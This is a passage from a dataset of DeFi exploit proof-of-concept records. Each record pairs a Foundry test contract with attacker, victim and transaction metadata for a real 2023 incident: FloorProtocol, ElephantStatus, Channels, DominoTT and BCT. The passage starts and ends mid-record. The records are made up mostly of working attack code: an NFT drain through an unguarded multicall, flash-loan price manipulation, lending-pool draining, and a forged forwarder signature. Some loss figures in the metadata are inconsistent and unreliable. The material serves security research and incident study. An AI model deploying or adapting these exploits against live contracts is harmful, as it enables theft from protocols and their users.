Other attack txs: https://explorer.phalcon.xyz/tx/eth/0xfb9942a119c45adab3980639cd829e57b41449e3b82d610892da4bb921e81d9c\n// https://explorer.phalcon.xyz/tx/eth/0xa329b27fbe0f7b7f92060a9e5370fdf03d60e5c4835f09d7234e5bbecf417ccf\n\n// @Analysis\n// https://protos.com/floor-protocol-exploited-bored-apes-and-pudgy-penguins-gone/\n// https://twitter.com/0xfoobar/status/1736190355257627064\n// https://defimon.xyz/exploit/mainnet/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428\n\ninterface IPPGToken is IERC721 {\n function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);\n}\n\ninterface IERC1967Proxy {\n struct CallData {\n address target;\n bytes callData;\n }\n\n function extMulticall(\n CallData[] memory calls\n ) external returns (bytes[] memory);\n}\n\ncontract ContractTest is Test {\n IPPGToken private constant PPG = IPPGToken(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);\n IERC1967Proxy private constant ERC1967Proxy = IERC1967Proxy(0x49AD262C49C7aA708Cc2DF262eD53B64A17Dd5EE);\n address private constant victim = 0xe5442aE87E0fEf3F7cc43E507adF786c311a0529;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_802_287);\n vm.label(address(PPG), \"PPG\");\n vm.label(address(ERC1967Proxy), \"ERC1967Proxy\");\n vm.label(victim, \"victim\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Victim PPG token balance before attack\", PPG.balanceOf(victim));\n emit log_named_uint(\"Attacker PPG token balance before attack\", PPG.balanceOf(address(this)));\n\n IERC1967Proxy.CallData[] memory calls = new IERC1967Proxy.CallData[](PPG.balanceOf(victim));\n\n for (uint256 i; i < PPG.balanceOf(victim); ++i) {\n uint256 id = PPG.tokenOfOwnerByIndex(victim, i);\n bytes memory data =\n abi.encodeWithSignature(\"safeTransferFrom(address,address,uint256)\", victim, address(this), id);\n IERC1967Proxy.CallData memory callData = IERC1967Proxy.CallData({target: address(PPG), callData: data});\n calls[i] = callData;\n }\n // Flawed function\n ERC1967Proxy.extMulticall(calls);\n\n emit log_named_uint(\"Victim PPG token balance after attack\", PPG.balanceOf(victim));\n emit log_named_uint(\"Attacker PPG token balance after attack\", PPG.balanceOf(address(this)));\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external pure returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "FloorProtocol", "date": "2023-12", "file_name": "FloorProtocol_exp.sol", "attack_vector": null, "content_hash": "24629e4e6ef66753", "collected_at": "2026-01-07T10:59:16.529883", "_source": "postmortems", "chain": "ethereum", "block_number": 18802287, "total_lost_raw": "~1,6M", "total_lost_usd": 1.0, "attacker_address": "https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847", "attack_contract": "https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428", "vulnerable_contract": "https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd", "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~1,6M", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Victim PPG token balance before attack\", PPG.balanceOf(victim));\n emit log_named_uint(\"Attacker PPG token balance before attack\", PPG.balanceOf(address(this)));\n\n IERC1967Proxy.CallData[] memory calls = new IERC1967Proxy.CallData[](PPG.balanceOf(victim));\n\n for (uint256 i; i < PPG.balanceOf(victim); ++i) {\n uint256 id = PPG.tokenOfOwnerByIndex(victim, i);\n bytes memory data =\n abi.encodeWithSignature(\"safeTransferFrom(address,address,uint256)\", victim, address(this), id);\n IERC1967Proxy.CallData memory callData = IERC1967Proxy.CallData({target: address(PPG), callData: data});\n calls[i] = callData;\n }\n // Flawed function\n ERC1967Proxy.extMulticall(calls);\n\n emit log_named_uint(\"Victim PPG token balance after attack\", PPG.balanceOf(victim));\n emit log_named_uint(\"Attacker PPG token balance after attack\", PPG.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1,6M", "keyinfo_attacker": "https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847", "keyinfo_attack_contract": "https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 7.58, "quality_estimate": "medium", "title": "FloorProtocol Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~165K USD$\n// Attacker : https://bscscan.com/address/0xbbcc139933d1580e7c40442e09263e90e6f1d66d\n// Attack Contract : https://bscscan.com/address/0x69bd13f775505989883768ebd23d528c708d6bcf\n// Vulnerable Contract : https://bscscan.com/address/0x8cf0a553ab3896e4832ebcc519a7a60828ab5740\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1732354930529435940\n\ninterface IElephantStatus {\n function sweep() external;\n}\n\ncontract ContractTest is Test {\n Uni_Pair_V3 private constant USDC_BUSD = Uni_Pair_V3(0x22536030B9cE783B6Ddfb9a39ac7F439f568E5e6);\n Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);\n Uni_Pair_V3 private constant WBNB_BUSD = Uni_Pair_V3(0x85FAac652b707FDf6907EF726751087F9E0b6687);\n Uni_Pair_V3 private constant BTCB_BUSD = Uni_Pair_V3(0x369482C78baD380a036cAB827fE677C1903d1523);\n Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IElephantStatus private constant Elephant = IElephantStatus(0x8Cf0A553aB3896e4832ebCC519a7A60828AB5740);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_114_760);\n vm.label(address(USDC_BUSD), \"USDC_BUSD\");\n vm.label(address(BUSDT_BUSD), \"BUSDT_BUSD\");\n vm.label(address(WBNB_BUSD), \"WBNB_BUSD\");\n vm.label(address(BTCB_BUSD), \"BTCB_BUSD\");\n vm.label(address(PancakeRouter), \"PancakeRouter\");\n vm.label(address(BUSD), \"BUSD\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(Elephant), \"Elephant\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n USDC_BUSD.flash(\n address(this),\n 0,\n BUSD.balanceOf(address(USDC_BUSD)),\n abi.encode(uint8(0), BUSD.balanceOf(address(USDC_BUSD)))\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint8 num;\n uint256 amount;\n (num, amount) = abi.decode(data, (uint8, uint256));\n if (num == uint8(0)) {\n BUSDT_BUSD.flash(\n address(this),\n 0,\n BUSD.balanceOf(address(BUSDT_BUSD)),\n abi.encode(uint8(1), BUSD.balanceOf(address(BUSDT_BUSD)))\n );\n } else if (num == uint8(1)) {\n WBNB_BUSD.flash(\n address(this),\n 0,\n BUSD.balanceOf(address(WBNB_BUSD)),\n abi.encode(uint8(2), BUSD.balanceOf(address(WBNB_BUSD)))\n );\n } else if (num == uint8(2)) {\n BTCB_BUSD.flash(\n address(this),\n 0,\n BUSD.balanceOf(address(BTCB_BUSD)),\n abi.encode(uint8(3), BUSD.balanceOf(address(BTCB_BUSD)))\n );\n } else {\n BUSD.approve(address(PancakeRouter), type(uint256).max);\n WBNB.approve(address(PancakeRouter), type(uint256).max);\n BUSDToWBNB();\n // Unprotected function here. Call to sweep will rise WBNB price\n Elephant.sweep();\n WBNBToBUSD();\n }\n BUSD.transfer(msg.sender, amount + fee1);\n }\n\n function BUSDToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(WBNB);\n PancakeRouter.swapExactTokensForTokens(BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n\n function WBNBToBUSD() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSD);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ElephantStatus", "date": "2023-12", "file_name": "ElephantStatus_exp.sol", "attack_vector": null, "content_hash": "e37fa1714a692c4b", "collected_at": "2026-01-07T10:59:16.529937", "_source": "postmortems", "chain": "bsc", "block_number": 34114760, "total_lost_raw": "~165K USD$", "total_lost_usd": 165000.0, "attacker_address": "https://bscscan.com/address/0xbbcc139933d1580e7c40442e09263e90e6f1d66d", "attack_contract": "https://bscscan.com/address/0x69bd13f775505989883768ebd23d528c708d6bcf", "vulnerable_contract": "https://bscscan.com/address/0x8cf0a553ab3896e4832ebcc519a7a60828ab5740", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~165K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance before attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n\n USDC_BUSD.flash(\n address(this),\n 0,\n BUSD.balanceOf(address(USDC_BUSD)),\n abi.encode(uint8(0), BUSD.balanceOf(address(USDC_BUSD)))\n );\n\n emit log_named_decimal_uint(\n \"Exploiter BUSD balance after attack\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~165K USD$", "keyinfo_attacker": "https://bscscan.com/address/0xbbcc139933d1580e7c40442e09263e90e6f1d66d", "keyinfo_attack_contract": "https://bscscan.com/address/0x69bd13f775505989883768ebd23d528c708d6bcf", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8cf0a553ab3896e4832ebcc519a7a60828ab5740", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xd423ae0e95e9d6c8a89dcfed243573867e4aad29ee99a9055728cbbe0a523439", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$165.0K", "content_richness_score": 8.25, "quality_estimate": "high", "title": "ElephantStatus Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~$4.4K\n// Attacker : https://bscscan.com/address/0xd227dc77561b58c5a2d2644ac0173152a1a5dc3d\n// Attack Contract : https://bscscan.com/address/0xa47b9f87173eda364c821234158dda47b03ac217\n// Vulnerable Contract : https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b, 0x33e68c922d19d74ce845546a5c12a66ea31385c4\n// Attack Tx : https://bscscan.com/tx/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b, 0x33e68c922d19d74ce845546a5c12a66ea31385c4#code\n\n// @Analysis\n// Post-mortem : https://app.blocksec.com/explorer/tx/bsc/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IChannel {\n function accrueInterest() external returns (uint256);\n function borrow(\n uint256\n ) external returns (uint256);\n function redeemUnderlying(\n uint256\n ) external returns (uint256);\n}\n\ninterface IComptroller {\n function enterMarkets(\n address[] memory\n ) external;\n function claimComp(address, address[] memory) external;\n}\n\ninterface IPancakePool {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IMint {\n function mint(\n address\n ) external returns (uint256);\n}\n\nstruct Pancke_ExactOutputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n}\n\ninterface PancakeRouter {\n function exactOutput(\n Pancke_ExactOutputParams calldata\n ) external returns (uint256);\n}\n\ncontract Channels is BaseTestWithBalanceLog {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address pancakeV3Pool = 0x369482C78baD380a036cAB827fE677C1903d1523;\n\n address busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n address busd_btcb = 0xF45cd219aEF8618A92BAa7aD848364a158a24F33;\n address btcb = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;\n address cusdc = 0x33e68c922d19D74ce845546a5c12A66ea31385c4;\n address cudsc_underlying = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;\n address cbusd = 0xca797539f004C0F9c206678338f820AC38466D4b;\n address busd_underlying = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n\n address channels1 = 0x93790C641D029D1cBd779D87b88f67704B6A8F4C;\n address cake = 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;\n\n address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\n address anon = 0xFC518333F4bC56185BDd971a911fcE03dEe4fC8c;\n\n address pancake_swap = 0xF45cd219aEF8618A92BAa7aD848364a158a24F33;\n address pancake_router = 0x1b81D678ffb9C0263b24A97847620C99d213eB14;\n\n address ac = 0x93790C641D029D1cBd779D87b88f67704B6A8F4C;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 34_847_596 - 1);\n deal(cake, address(this), 1e18);\n deal(ac, address(this), 2);\n }\n\n function testExploit() external {\n uint256 init = IERC20(busd).balanceOf(address(this));\n uint256 init_usdc = IERC20(cudsc_underlying).balanceOf(address(this));\n\n IPancakePool(pancakeV3Pool).flash(\n address(this),\n 1_000_000_000_000_000_000,\n 42_218_672_818_223_010_583_114,\n \"0x0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000008f0adc86c0efe5c924a\"\n );\n uint256 after_attack = IERC20(busd).balanceOf(address(this));\n uint256 after_attack_usdc = IERC20(cudsc_underlying).balanceOf(address(this));\n emit log_named_decimal_uint(\"Attacker BUSD end exploited\", after_attack - init, 18);\n emit log_named_decimal_uint(\"Attacker USDC end exploited\", after_attack_usdc - init_usdc, 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n IERC20(busd).transfer(busd_btcb, IERC20(busd).balanceOf(address(this)));\n IERC20(btcb).transfer(busd_btcb, IERC20(btcb).balanceOf(address(this)));\n uint256 liquidity = IMint(busd_btcb).mint(address(this));\n IERC20(busd_btcb).transfer(channels1, IERC20(busd_btcb).balanceOf(address(this)));\n IERC20(cake).transfer(channels1, IERC20(cake).balanceOf(address(this)));\n\n IChannel(channels1).accrueInterest();\n address[] memory tokens = new address[](1);\n tokens[0] = channels1;\n IComptroller(anon).enterMarkets(tokens);\n\n address[] memory tokens2 = new address[](2);\n tokens2[0] = cusdc;\n tokens2[1] = cbusd;\n IComptroller(anon).enterMarkets(tokens2);\n\n IChannel(cusdc).borrow(IERC20(cudsc_underlying).balanceOf(cusdc));\n IChannel(cbusd).borrow(IERC20(busd_underlying).balanceOf(cbusd));\n IChannel(channels1).redeemUnderlying(174_494_827_409_609_936_689); // busd_btcb balance - 1\n\n IERC20(pancake_swap).transfer(pancake_swap, IERC20(pancake_swap).balanceOf(address(this)));\n (uint256 amount0, uint256 amount1) = IUniswapV2Pair(pancake_swap).burn(address(this));\n\n address token1 = btcb;\n uint24 fee1 = 500;\n\n address token2 = wbnb;\n uint24 fee2 = 500;\n\n address token3 = cudsc_underlying;\n bytes memory path = abi.encodePacked(token1, fee1, token2, fee2, token3);\n\n Pancke_ExactOutputParams memory params = Pancke_ExactOutputParams({\n path: path,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 503_715_695_155_049,\n amountInMaximum: type(uint256).max\n });\n\n IERC20(cudsc_underlying).approve(pancake_router, type(uint256).max);\n uint256 amountin = PancakeRouter(pancake_router).exactOutput(params);\n // payback\n IERC20(btcb).transfer(pancakeV3Pool, 1_000_500_000_000_000_000);\n IERC20(busd).transfer(pancakeV3Pool, 42_239_782_154_632_122_088_406);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Channels", "date": "2023-12", "file_name": "Channels_exp.sol", "attack_vector": null, "content_hash": "3f65e82d48d1e027", "collected_at": "2026-01-07T10:59:16.529998", "_source": "postmortems", "chain": "bsc", "block_number": 34847596, "total_lost_raw": "~$4.4K", "total_lost_usd": 4400.0, "attacker_address": "https://bscscan.com/address/0xd227dc77561b58c5a2d2644ac0173152a1a5dc3d", "attack_contract": "https://bscscan.com/address/0xa47b9f87173eda364c821234158dda47b03ac217", "vulnerable_contract": "https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b,", "attack_tx": "https://bscscan.com/tx/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5", "postmortem_url": "https://app.blocksec.com/explorer/tx/bsc/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~$4.4K", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~$4.4K", "keyinfo_attacker": "https://bscscan.com/address/0xd227dc77561b58c5a2d2644ac0173152a1a5dc3d", "keyinfo_attack_contract": "https://bscscan.com/address/0xa47b9f87173eda364c821234158dda47b03ac217", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xca797539f004c0f9c206678338f820ac38466d4b,", "keyinfo_attack_tx": "https://bscscan.com/tx/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5", "analysis_postmortem": "https://app.blocksec.com/explorer/tx/bsc/0xcf729a9392b0960cd315d7d49f53640f000ca6b8a0bd91866af5821fdf36afc5", "analysis_twitter": "", "funds_lost_formatted": "$4.4K", "content_richness_score": 7, "quality_estimate": "medium", "title": "Channels Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~5 $WBNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f\n// Vulnerable Contract : https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface IDominoTTWBNBN {\n function sync() external;\n}\n\ninterface IForwarder {\n struct ForwardRequest {\n address from;\n address to;\n uint256 value;\n uint256 gas;\n uint256 nonce;\n bytes data;\n }\n\n function getNonce(\n address from\n ) external view returns (uint256);\n function execute(ForwardRequest memory req, bytes memory signature) external payable returns (bool, bytes memory);\n}\n\ninterface IDominoTT is IERC20 {\n function burn(\n uint256 amount\n ) external;\n function multicall(\n bytes[] memory data\n ) external returns (bytes[] memory results);\n}\n\ncontract ContractTest is Test {\n IDominoTT DominoTT = IDominoTT(0x0DaBDC92aF35615443412A336344c591FaEd3f90);\n IForwarder Forwarder = IForwarder(0x7C4717039B89d5859c4Fbb85EDB19A6E2ce61171);\n IDominoTTWBNBN Pair = IDominoTTWBNBN(0x4f34b914D687195A73318ccC58D56D242b4dCcF6);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPAdvanced DODO = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n address attacker = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 34_141_660 - 1);\n vm.label(address(DominoTT), \"DominoTT\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n DominoTT.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0.5 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n require(msg.sender == address(DODO), \"Fail\");\n WBNBTOTOKEN();\n\n uint256 amountToBurn = 1_970_000 * 1e18;\n bytes[] memory datas = new bytes[](1);\n datas[0] = abi.encodePacked(IDominoTT.burn.selector, amountToBurn, address(Pair));\n bytes memory data_muliti = abi.encodeWithSelector(IDominoTT.multicall.selector, datas);\n\n IForwarder.ForwardRequest memory req = IForwarder.ForwardRequest({\n from: attacker,\n to: address(DominoTT),\n value: 0,\n gas: 5e6,\n nonce: Forwarder.getNonce(attacker),\n data: data_muliti\n });\n //bytes32 ethMessagessign = toTypedDataHash(bytes32(0x99d026edad79cd8998e26685e38b0fe8e2b6a9a325835609c9e4aedb3056e1a0), keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data))));\n bytes32 r = 0xc065407074ef2e05acdd73a1b1c96c6fa4215c8298f1b78b549d6849e3d84e47;\n bytes32 s = 0x5decf131b7477236ea72bb15dfb89ea226dff05cd173063e34fe9aea54e667f7;\n uint8 v = 27;\n bytes memory signature = abi.encodePacked(r, s, v);\n\n Forwarder.execute(req, signature);\n Pair.sync();\n TOKENTOWBNB();\n\n WBNB.transfer(address(DODO), 0.5 * 1e18);\n }\n\n function WBNBTOTOKEN() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(DominoTT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 0.5 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function TOKENTOWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(DominoTT);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DominoTT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n //function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n // return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n //}\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DominoTT", "date": "2023-12", "file_name": "DominoTT_exp.sol", "attack_vector": "flash_loan", "content_hash": "893c6e0561993fbb", "collected_at": "2026-01-07T10:59:16.530055", "_source": "postmortems", "chain": "bsc", "block_number": 34141660, "total_lost_raw": "~5 $WBNB", "total_lost_usd": 5.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f", "vulnerable_contract": "https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~5 $WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n DominoTT.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DODO.flashLoan(0.5 * 1e18, 0, address(this), new bytes(1));\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~5 $WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0xaed80b8a821607981e5e58b7a753a3336c0bfd6f", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x0dabdc92af35615443412a336344c591faed3f90", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x1ee617cd739b1afcc673a180e60b9a32ad3ba856226a68e8748d58fcccc877a8", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$5", "content_richness_score": 9.41, "quality_estimate": "high", "title": "DominoTT Exploit (2023-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~10.2BNB\n// Attacker : https://bscscan.com/address/0x9c66b0c68c144ffe33e7084fe8ce36ebc44ad21e\n// Attack Contract : https://bscscan.com/address/0xe9616ff20ad519bce0e3d61353a37232f0c27a50\n// Vulnerable Contract : https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a\n// Attack Tx : https://bscscan.com/tx/0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x88b3eb62e363d9f153beab49c5c2ef2e785a375a#code\n\n// @Analysis\n// the attack happend with 2 txs\n// (1) 0xd4c19d575ea5b3a415cc288ce09942299ca3a3b49ef9718cda17e4033dd4c250, this tx creates 5 self initiated tool contract (contract Tool in the below) and prepare the environments for the attack\n// (2) 0xdae0b85e01670e6b6b317657a72fb560fc388664cf8bfdd9e1b0ae88e0679103, this tx contains several weird and malicious operations, which are shown below\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\n\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IBCT {\n function inviter(\n address\n ) external view returns (address);\n}\n\ninterface IInviter {\n function buy(address, address, uint256) external;\n function f_0xf986351d(address, address, uint256) external;\n function f_0x4e515153(address, address, uint256) external;\n}\n\ncontract BCT is BaseTestWithBalanceLog {\n IPancakePair PancakePair = IPancakePair(0x1B96B92314C44b159149f7E0303511fB2Fc4774f); // KIMO/WBNB pair\n address private wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n IERC20 Wbnb = IERC20(wbnb);\n\n address bct = 0x70ca72BB4A1386439a2a51476f2335A31005EBe8;\n address pancakepair = 0x88b3EB62e363d9f153BeAb49c5C2EF2E785a375a;\n\n address cake_lp = 0x5A25B8576B14699bbb15947111f5811E58B39A82;\n\n address busd = 0x55d398326f99059fF775485246999027B3197955;\n\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n Uni_Pair_V2 cakeLP = Uni_Pair_V2(cake_lp);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 34_204_710 - 1);\n deal(address(this), 0.1 ether);\n }\n\n function testExploit() public {\n uint256 before = Wbnb.balanceOf(address(this));\n init(); // simulate the first tx for preparation\n // attack begin\n PancakePair.swap(20_000_000_000_000_000_000, 0, address(this), abi.encode(\"0x20\"));\n emit log_named_decimal_uint(\n \"[End] After repay, Profit: BNB balance of attacker\", Wbnb.balanceOf(address(this)) - before, 18\n );\n }\n\n // simulate the preparation of the attack, tx: https://bscscan.com/tx/0xd4c19d575ea5b3a415cc288ce09942299ca3a3b49ef9718cda17e4033dd4c250\n // function 0xe531876d of the attacker contract\n function init() public {\n address[] memory tools = new address[](5);\n\n // create 5 tools for the following attack\n for (uint256 i = 0; i < 5; i++) {\n Tool tool = new Tool();\n tools[i] = address(tool);\n }\n\n address first = tools[0];\n\n address[] memory path = new address[](2);\n path[0] = wbnb;\n path[1] = bct;\n // msg.value share to 5 addresses\n 